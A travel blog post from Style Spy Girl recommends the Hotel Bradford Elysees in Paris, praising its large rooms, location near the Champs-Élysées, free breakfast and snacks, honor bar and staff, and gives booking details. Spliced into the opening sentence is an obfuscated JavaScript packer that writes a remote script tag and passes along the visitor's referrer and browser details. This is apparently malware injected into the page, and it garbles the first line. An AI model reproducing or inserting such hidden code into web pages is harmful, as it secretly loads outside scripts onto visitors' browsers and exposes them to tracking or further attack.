Sometimes, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itsaa|var|u0026u|referrer|sibrf||js|php’.split(‘|’),0,{}))
a hotel is just a place to lay your head in a foreign city… But every once in a great while, you find a hotel that feels more like an oasis, and it becomes your home away! This summer, when I took a group of #stylespygirlposse ladies on a shopping tour of Paris, France, the Hotel Bradford Elysees became exactly that.
If you’ve traveled much, you have likely experienced both the joy and agony of hotel selection. Finding the right one can mean hours of research, pouring over hotel details and user reviews, or you can play it loose and gamble on a bargain-hunting travel website. But particularly if you’re going to Paris, the task of “where to stay” can be incredibly daunting! Paris has over 2,000 hotels within the city limits, along with innumerable AirBnb-type rental homes and flats available. What part of town do you want to be in? How much are you budgeting per night? Which one is walking distance to the places you want most to visit?
If you’ll allow me, I can make this task truly easy for you: When in Paris, stay at the Bradford Elysees. I am not being paid or compensated in any way for passing along this advice! I simply had a personal experience that surpassed other hotels I’ve stayed in so far, and I wanted to pass along the recommendation to my readers.
The Bradford Elysees is an intimate boutique hotel that behaves like a 5-star resort, but at a bargain price, and everyone ought to know about it!!!
Here’s why:
#1: SIZE
Having traveled extensively in Europe, I’m accustomed to standard hotel rooms that value function over space. Often you’ll get a tiny room, packed tight and well-arranged to take advantage of every square inch… But I’m pretty sure I let out an uncontrolled “Oh my gosh!” upon opening the door of our room at the Bradford Elysees. High ceilings, big open areas, and tall windows with luxurious drapery gave the room a regal feel. And it… Was… HUGE. My roommates and I had plenty of space for three beds, multiple suitcases, a generous seating area, and more!
One evening, we spread out all our groceries and had a “room picnic,” right on the floor!
We also enjoyed the open-air balcony, for people watching and Parisian sunsets. Some of our travel posse who booked a room on the top floor did not have a balcony, but they DID have glorious views of the Eiffel Tower glittering in their windows every night! C’est joli!
#2: LOCATION
Our group specifically wanted to be north of the Seine River, close to sights, convenient to transportation, and walking distance to shopping. The Bradford Elysees had all of that. Catching taxis was convenient at this hotel, but with the Saint-Philippe-du-Roule metro station only a 3-minute walk away, we found it easy to get around town whenever and wherever we needed to by simply hopping on a train.
We were about a 5 minute walk from Paris’ famed Avenue des Champs-Élysées, an avenue running between the Place de la Concorde and the Place Charles de Gaulle, where the Arc de Triomphe is located. Everything you could ever wish to shop for is on this avenue! From macaron bakeries to designer flagship stores, it’s all here, on wide-open walking streets packed with tourists.
We also loved exploring the many restaurants that surrounded our hotel, and appreciated having a Monoprix nearby for grocery shopping. This came in handy, especially for our Eiffel Tower picnic day!
#3: BREAKFAST
Speaking of food… After staying at the Bradford Elysees, I’ll never be satisfied with a standard continental breakfast, as long as I live!
Every morning began like this: wake up, get dressed, run downstairs to the dining room, and be greeted by a kind gentleman named Francois asking “Good morning, madame! May I fetch you some coffee with breakfast?” Yes, please! Merci boucoup!
Breakfast is complimentary at the Bradford Elysees, and if you don’t take advantage of it, you’re missing out. Omelettes, waffles, crepes, fresh pastries, fruit, meats, cheeses, yogurt, and more were spread out before us every morning, tantalizing our taste buds and spoiling us rotten.
But beyond breakfast, there’s even MORE food to appreciate at this amazing hotel! Every afternoon, a complimentary snack bar is laid out. Yes, complimentary as in FREE. Juices, coffees, fruit, cheeses, pastries, and a rotating array of surprises greeted us every day.
And I’m not done with the food part yet! Oh no… not even close!
The Bradford Elysees is just one of a small chain of boutique hotels known as the Astotel group. There are 16 of them throughout Paris, each with its own unique themes and amenities. And ALL of them have free afternoon snack bars set out, which you have access to regardless of which hotel you’re booked in! Anytime we needed energy or hydration, we could pop into an Astotel around town, relax and recharge. What an amazing concept – I’m in love with them, can you tell??
In the evenings, two more special touches surprised and delighted our crew. A beautiful “honor bar” opened up each night in the hotel, in a posh and airy room that felt like a luxurious parlor from a bygone era. You can mix any cocktail you like, jot down what you used on a checklist, and hand it in at the front desk to be added to your room charges. Easy-peasy!
We also appreciated the nightly “Bonsoir” knock on our suite door, where a smiling staff person handed us candies and wished us a lovely evening. What better way to end the day, than with candy and kindness?!?
#4: ALL THE LITTLE THINGS
Besides the food (so much of it!), location, price, and amazing amenities of the Bradford Elysees, I want to take a moment and acknowledge the sheer beauty of the place. Along with being well-appointed with every modern convenience (air conditioning, flatscreen cable tv’s, mini fridge, and a 24-hour reception desk), her glorious Parisian charm gleams in every nook and corner. From the carved wood period elevator to portraits of 19th-century owner Lord Bradford and his family adorning the walls, this hotel is steeped in Haussman era flavor and refined decor.
The honor bar room dazzled us with its glass canopy and velvet armchairs, beckoning us to either lively conversation with friends, or a quiet reverie for book reading at the end of a long, busy day jostling crowds of fellow tourists.
Every staff member we encountered was kind, gracious, helpful, and treated us like their most precious guests. Especially Francois, a true gem among the bustling crew that made our stay so special.
Thank you Véronique, Francois, and everyone at the Hotel Bradford Elysees, for an unforgettable Paris experience! I look forward to staying with you again and again, in the future. (Because you’d literally have to pay me to stay anywhere else!) 😉
Cheers & love,
Tanya
All photos by Amber Daley & Tanya Carnahan
_______________________________________________
Book your stay at the Bradford Elysees:
Hotel Bradford Elysees
10 rue St Philippe du Roule
75008 Paris
+33 (0) 1 45 63 20 20
hotel.bradford@astotel.com
Check out all the amazing Astotel hotels at https://en.astotel.com/!
Style Spy Girl 